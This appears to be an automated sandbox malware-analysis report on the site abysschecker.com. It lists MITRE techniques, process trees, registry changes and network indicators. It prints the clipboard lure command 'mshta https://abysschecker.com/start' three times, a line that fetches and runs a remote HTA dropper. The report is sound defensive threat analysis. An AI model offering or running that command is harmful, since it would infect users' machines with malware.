hxxp://abysschecker[.]com

Resubmissions

16/09/2026, 16:30

260916-tzsmpsbf883

15/09/2026, 13:46

15/09/2026, 13:43

15/09/2026, 10:04

15/09/2026, 09:49

Analysis

user interaction
yes
max time kernel
301s
max time network
305s
platform
windows11-21h2_x64
resource
win11-20260911-en
resource tags

arch:x64arch:x86image:win11-20260911-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
15/09/2026, 09:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
http://abysschecker.com
Sample260915-ltm62aszhy

Score

10^/10

discovery execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://abysschecker.com/start

Signatures

Badlisted process makes network request 11 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
109	5004	mshta.exe
110	5004	mshta.exe
111	5004	mshta.exe
112	5004	mshta.exe
113	5004	mshta.exe
114	5004	mshta.exe
115	5004	mshta.exe
116	5004	mshta.exe
117	5004	mshta.exe
119	5004	mshta.exe
120	5004	mshta.exe

Suspicious clipboard content. 3 IoCs

A suspicious script was copied to clipboard.

ioc	Process
mshta https://abysschecker.com/start	msedge.exe
mshta https://abysschecker.com/start	msedge.exe
mshta https://abysschecker.com/start	msedge.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
31	discord.com
119	discord.com

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
31	api.ipify.org
31	ip-api.com
115	api.ipify.org

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 42 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3380	powershell.exe
4928	powershell.exe
1504	powershell.exe
3896	powershell.exe
3248	powershell.exe
2740	powershell.exe
2800	powershell.exe
1712	powershell.exe
4064	powershell.exe
1248	powershell.exe
2820	powershell.exe
1912	powershell.exe
800	powershell.exe
4240	powershell.exe
2356	powershell.exe
3504	powershell.exe
784	powershell.exe
540	powershell.exe
2424	powershell.exe
1412	powershell.exe
4744	powershell.exe
3512	powershell.exe
8	powershell.exe
1168	powershell.exe
4296	powershell.exe
4080	powershell.exe
1672	powershell.exe
3908	powershell.exe
1308	powershell.exe
4428	powershell.exe
5012	powershell.exe
3824	powershell.exe
2112	powershell.exe
3580	powershell.exe
1400	powershell.exe
4500	powershell.exe
1588	powershell.exe
2016	powershell.exe
1704	powershell.exe
4484	powershell.exe
2280	powershell.exe
3472	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 42 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1344	cmd.exe
940	cmd.exe
4304	cmd.exe
1236	cmd.exe
1044	cmd.exe
2264	cmd.exe
4960	cmd.exe
2068	cmd.exe
1832	cmd.exe
1936	cmd.exe
2656	cmd.exe
4420	cmd.exe
4768	cmd.exe
3460	cmd.exe
3368	cmd.exe
4236	cmd.exe
2920	cmd.exe
2076	cmd.exe
2700	cmd.exe
3736	cmd.exe
1072	cmd.exe
4260	cmd.exe
3388	cmd.exe
3164	cmd.exe
1212	cmd.exe
3268	cmd.exe
4632	cmd.exe
2900	cmd.exe
4120	cmd.exe
4972	cmd.exe
4440	cmd.exe
1796	cmd.exe
3964	cmd.exe
3224	cmd.exe
844	cmd.exe
4836	cmd.exe
3284	cmd.exe
4796	cmd.exe
1656	cmd.exe
2064	cmd.exe
1992	cmd.exe
1484	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2132	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134339394106294063"	msedge.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2322150968-3922673059-3248713381-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2322150968-3922673059-3248713381-1000\{A73B2DBE-0154-45C5-B138-33AA31A2F5EA}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2322150968-3922673059-3248713381-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2322150968-3922673059-3248713381-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\DisplayName = "Chrome Sandbox"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2322150968-3922673059-3248713381-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2322150968-3922673059-3248713381-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2322150968-3922673059-3248713381-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Moniker = "cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2322150968-3922673059-3248713381-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2322150968-3922673059-3248713381-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	116	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4240	powershell.exe
4240	powershell.exe
4240	powershell.exe
4484	powershell.exe
4484	powershell.exe
4484	powershell.exe
2112	powershell.exe
2112	powershell.exe
2112	powershell.exe
4296	powershell.exe
4296	powershell.exe
4296	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
1920	msedge.exe
1920	msedge.exe
4080	powershell.exe
4080	powershell.exe
4080	powershell.exe
1672	powershell.exe
1672	powershell.exe
1672	powershell.exe
2424	powershell.exe
2424	powershell.exe
2424	powershell.exe
4744	powershell.exe
4744	powershell.exe
4744	powershell.exe
1248	powershell.exe
1248	powershell.exe
1248	powershell.exe
3908	powershell.exe
3908	powershell.exe
3908	powershell.exe
3248	powershell.exe
3248	powershell.exe
3248	powershell.exe
3472	powershell.exe
3472	powershell.exe
3472	powershell.exe
2740	powershell.exe
2740	powershell.exe
2740	powershell.exe
3580	powershell.exe
3580	powershell.exe
3580	powershell.exe
2356	powershell.exe
2356	powershell.exe
2356	powershell.exe
2800	powershell.exe
2800	powershell.exe
2800	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
1308	powershell.exe
1308	powershell.exe
1308	powershell.exe
2820	powershell.exe
2820	powershell.exe
2820	powershell.exe
4428	powershell.exe
4428	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe

Suspicious use of AdjustPrivilegeToken 42 IoCs

description	pid	Process
Token: SeDebugPrivilege	4240	powershell.exe
Token: SeDebugPrivilege	4484	powershell.exe
Token: SeDebugPrivilege	2112	powershell.exe
Token: SeDebugPrivilege	4296	powershell.exe
Token: SeDebugPrivilege	2280	powershell.exe
Token: SeDebugPrivilege	4080	powershell.exe
Token: SeDebugPrivilege	1672	powershell.exe
Token: SeDebugPrivilege	2424	powershell.exe
Token: SeDebugPrivilege	4744	powershell.exe
Token: SeDebugPrivilege	1248	powershell.exe
Token: SeDebugPrivilege	3908	powershell.exe
Token: SeDebugPrivilege	3248	powershell.exe
Token: SeDebugPrivilege	3472	powershell.exe
Token: SeDebugPrivilege	2740	powershell.exe
Token: SeDebugPrivilege	3580	powershell.exe
Token: SeDebugPrivilege	2356	powershell.exe
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeDebugPrivilege	3512	powershell.exe
Token: SeDebugPrivilege	1308	powershell.exe
Token: SeDebugPrivilege	2820	powershell.exe
Token: SeDebugPrivilege	4428	powershell.exe
Token: SeDebugPrivilege	1412	powershell.exe
Token: SeDebugPrivilege	1712	powershell.exe
Token: SeDebugPrivilege	3380	powershell.exe
Token: SeDebugPrivilege	4928	powershell.exe
Token: SeDebugPrivilege	5012	powershell.exe
Token: SeDebugPrivilege	1504	powershell.exe
Token: SeDebugPrivilege	1912	powershell.exe
Token: SeDebugPrivilege	3504	powershell.exe
Token: SeDebugPrivilege	784	powershell.exe
Token: SeDebugPrivilege	800	powershell.exe
Token: SeDebugPrivilege	3824	powershell.exe
Token: SeDebugPrivilege	1400	powershell.exe
Token: SeDebugPrivilege	540	powershell.exe
Token: SeDebugPrivilege	4500	powershell.exe
Token: SeDebugPrivilege	3896	powershell.exe
Token: SeDebugPrivilege	1588	powershell.exe
Token: SeDebugPrivilege	4064	powershell.exe
Token: SeDebugPrivilege	2016	powershell.exe
Token: SeDebugPrivilege	8	powershell.exe
Token: SeDebugPrivilege	1704	powershell.exe
Token: SeDebugPrivilege	1168	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe
3296	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3296 wrote to memory of 3120	3296	msedge.exe	83
PID 3296 wrote to memory of 2132	3296	msedge.exe	84
PID 3296 wrote to memory of 912	3296	msedge.exe	85
PID 3296 wrote to memory of 912	3296	msedge.exe	85
PID 3296 wrote to memory of 912	3296	msedge.exe	85
PID 3296 wrote to memory of 4688	3296	msedge.exe	86
PID 3296 wrote to memory of 4688	3296	msedge.exe	86
PID 3296 wrote to memory of 3596	3296	msedge.exe	88
PID 3296 wrote to memory of 3596	3296	msedge.exe	88
PID 3296 wrote to memory of 3596	3296	msedge.exe	88
PID 3296 wrote to memory of 2440	3296	msedge.exe	87
PID 3296 wrote to memory of 2440	3296	msedge.exe	87
PID 3296 wrote to memory of 2440	3296	msedge.exe	87
PID 3296 wrote to memory of 3692	3296	msedge.exe	89
PID 3296 wrote to memory of 2576	3296	msedge.exe	90
PID 3296 wrote to memory of 3692	3296	msedge.exe	89
PID 3296 wrote to memory of 3692	3296	msedge.exe	89
PID 3296 wrote to memory of 2220	3296	msedge.exe	91
PID 3296 wrote to memory of 2576	3296	msedge.exe	90
PID 3296 wrote to memory of 2576	3296	msedge.exe	90
PID 3296 wrote to memory of 784	3296	msedge.exe	92
PID 3296 wrote to memory of 2220	3296	msedge.exe	91
PID 3296 wrote to memory of 2220	3296	msedge.exe	91
PID 3296 wrote to memory of 784	3296	msedge.exe	92
PID 3296 wrote to memory of 784	3296	msedge.exe	92
PID 3296 wrote to memory of 4844	3296	msedge.exe	96
PID 3296 wrote to memory of 4844	3296	msedge.exe	96
PID 3296 wrote to memory of 4844	3296	msedge.exe	96
PID 3296 wrote to memory of 2016	3296	msedge.exe	97
PID 3296 wrote to memory of 2952	3296	msedge.exe	98
PID 3296 wrote to memory of 2016	3296	msedge.exe	97
PID 3296 wrote to memory of 2952	3296	msedge.exe	98
PID 3296 wrote to memory of 2684	3296	msedge.exe	99
PID 3296 wrote to memory of 2684	3296	msedge.exe	99
PID 3296 wrote to memory of 5016	3296	msedge.exe	100
PID 3296 wrote to memory of 2336	3296	msedge.exe	102
PID 5016 wrote to memory of 3924	5016	msedge.exe	103
PID 3296 wrote to memory of 3480	3296	msedge.exe	108
PID 3296 wrote to memory of 2560	3296	msedge.exe	109
PID 3296 wrote to memory of 3192	3296	msedge.exe	110
PID 3296 wrote to memory of 1896	3296	msedge.exe	115
PID 3296 wrote to memory of 1896	3296	msedge.exe	115
PID 5004 wrote to memory of 4768	5004	mshta.exe	119
PID 4768 wrote to memory of 4240	4768	cmd.exe	121
PID 4240 wrote to memory of 2776	4240	powershell.exe	122
PID 2776 wrote to memory of 1260	2776	csc.exe	123
PID 5004 wrote to memory of 3224	5004	mshta.exe	124
PID 3224 wrote to memory of 4484	3224	cmd.exe	126
PID 4484 wrote to memory of 3396	4484	powershell.exe	127
PID 3396 wrote to memory of 1420	3396	csc.exe	128
PID 5004 wrote to memory of 3460	5004	mshta.exe	129
PID 3460 wrote to memory of 2112	3460	cmd.exe	131
PID 2112 wrote to memory of 3180	2112	powershell.exe	132
PID 3180 wrote to memory of 1104	3180	csc.exe	133
PID 5004 wrote to memory of 2264	5004	mshta.exe	134
PID 2264 wrote to memory of 4296	2264	cmd.exe	137
PID 4296 wrote to memory of 2124	4296	powershell.exe	138
PID 2124 wrote to memory of 4632	2124	csc.exe	139
PID 5004 wrote to memory of 1992	5004	mshta.exe	140
PID 1992 wrote to memory of 2280	1992	cmd.exe	142
PID 2280 wrote to memory of 2248	2280	powershell.exe	143
PID 2248 wrote to memory of 1812	2248	csc.exe	144
PID 3296 wrote to memory of 1920	3296	msedge.exe	145
PID 5004 wrote to memory of 2700	5004	mshta.exe	146

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://abysschecker.com
1⤵
- Suspicious clipboard content.
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3296
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x23c,0x240,0x244,0x238,0x2b0,0x7ff81db6c188,0x7ff81db6c194,0x7ff81db6c1a0
  2⤵
  PID:3120
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1652,i,6420299585611595657,11997836932176512643,524288 --field-trial-handle=2144,i,2930049758688071099,1825566422700517743,262144 --variations-seed-version --mojo-platform-channel-handle=2332 /prefetch:11
  2⤵
  - System Time Discovery
  PID:2132
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1512,i,3819770764151873333,10457488928482140697,262144 --field-trial-handle=2144,i,2930049758688071099,1825566422700517743,262144 --variations-seed-version --mojo-platform-channel-handle=2108 /prefetch:2
  2⤵
  PID:912
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2160,i,7038672621553685819,8638622497765418138,524288 --field-trial-handle=2144,i,2930049758688071099,1825566422700517743,262144 --variations-seed-version --mojo-platform-channel-handle=2728 /prefetch:13
  2⤵
  PID:4688
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3512,i,1634917647975363761,9012488364529221886,2097152 --field-trial-handle=2144,i,2930049758688071099,1825566422700517743,262144 --variations-seed-version --mojo-platform-channel-handle=3540 /prefetch:1
  2⤵
  PID:2440
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3516,i,5346265541369365941,11146642046478470630,2097152 --field-trial-handle=2144,i,2930049758688071099,1825566422700517743,262144 --variations-seed-version --mojo-platform-channel-handle=1520 /prefetch:1
  2⤵
  PID:3596
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4172,i,5881495757832657675,639250398559810280,2097152 --field-trial-handle=2144,i,2930049758688071099,1825566422700517743,262144 --variations-seed-version --mojo-platform-channel-handle=4188 /prefetch:1
  2⤵
  PID:3692
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4128,i,5066726344880073680,6440971756021869824,2097152 --field-trial-handle=2144,i,2930049758688071099,1825566422700517743,262144 --variations-seed-version --mojo-platform-channel-handle=4256 /prefetch:9
  2⤵
  PID:2576
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4252,i,11805944064471079281,16531390411213950021,2097152 --field-trial-handle=2144,i,2930049758688071099,1825566422700517743,262144 --variations-seed-version --mojo-platform-channel-handle=4396 /prefetch:1
  2⤵
  PID:2220
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4124,i,7407788761571140749,2053370776730465215,2097152 --field-trial-handle=2144,i,2930049758688071099,1825566422700517743,262144 --variations-seed-version --mojo-platform-channel-handle=1504 /prefetch:9
  2⤵
  PID:784
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5504,i,13297504310480771882,14869589724263786696,2097152 --field-trial-handle=2144,i,2930049758688071099,1825566422700517743,262144 --variations-seed-version --mojo-platform-channel-handle=5516 /prefetch:1
  2⤵
  PID:4844
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3704,i,586219853604775863,18078489633179695613,524288 --field-trial-handle=2144,i,2930049758688071099,1825566422700517743,262144 --variations-seed-version --mojo-platform-channel-handle=3628 /prefetch:14
  2⤵
  PID:2016
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3688,i,13294543159146642670,18321878856509819027,524288 --field-trial-handle=2144,i,2930049758688071099,1825566422700517743,262144 --variations-seed-version --mojo-platform-channel-handle=3680 /prefetch:14
  2⤵
  PID:2952
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3724,i,16816533603107891069,2886501806381394449,524288 --field-trial-handle=2144,i,2930049758688071099,1825566422700517743,262144 --variations-seed-version --mojo-platform-channel-handle=3728 /prefetch:12
  2⤵
  PID:2684
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6212,i,17121915255506772681,17858104756816427891,524288 --field-trial-handle=2144,i,2930049758688071099,1825566422700517743,262144 --variations-seed-version --mojo-platform-channel-handle=6220 /prefetch:14
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5016
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
    cookie_exporter.exe --cookie-json=1128
    3⤵
    PID:3924
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6268,i,2609063730286635202,1893364338623164565,524288 --field-trial-handle=2144,i,2930049758688071099,1825566422700517743,262144 --variations-seed-version --mojo-platform-channel-handle=6280 /prefetch:14
  2⤵
  PID:4488
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6268,i,2609063730286635202,1893364338623164565,524288 --field-trial-handle=2144,i,2930049758688071099,1825566422700517743,262144 --variations-seed-version --mojo-platform-channel-handle=6280 /prefetch:14
  2⤵
  PID:2336
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6296,i,7105357485362080612,14371313888968747111,524288 --field-trial-handle=2144,i,2930049758688071099,1825566422700517743,262144 --variations-seed-version --mojo-platform-channel-handle=4388 /prefetch:14
  2⤵
  PID:3480
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6292,i,7933718596957800923,7510872522225642944,524288 --field-trial-handle=2144,i,2930049758688071099,1825566422700517743,262144 --variations-seed-version --mojo-platform-channel-handle=6332 /prefetch:14
  2⤵
  PID:2560
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6344,i,17087303619221459368,12969890855156873848,524288 --field-trial-handle=2144,i,2930049758688071099,1825566422700517743,262144 --variations-seed-version --mojo-platform-channel-handle=4472 /prefetch:14
  2⤵
  PID:3192
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4296,i,12384498004750939838,8941637967408817257,524288 --field-trial-handle=2144,i,2930049758688071099,1825566422700517743,262144 --variations-seed-version --mojo-platform-channel-handle=4408 /prefetch:14
  2⤵
  PID:1896
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=2492,i,1948579534642972142,12147444274824341343,262144 --field-trial-handle=2144,i,2930049758688071099,1825566422700517743,262144 --variations-seed-version --mojo-platform-channel-handle=6624 /prefetch:10
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1920
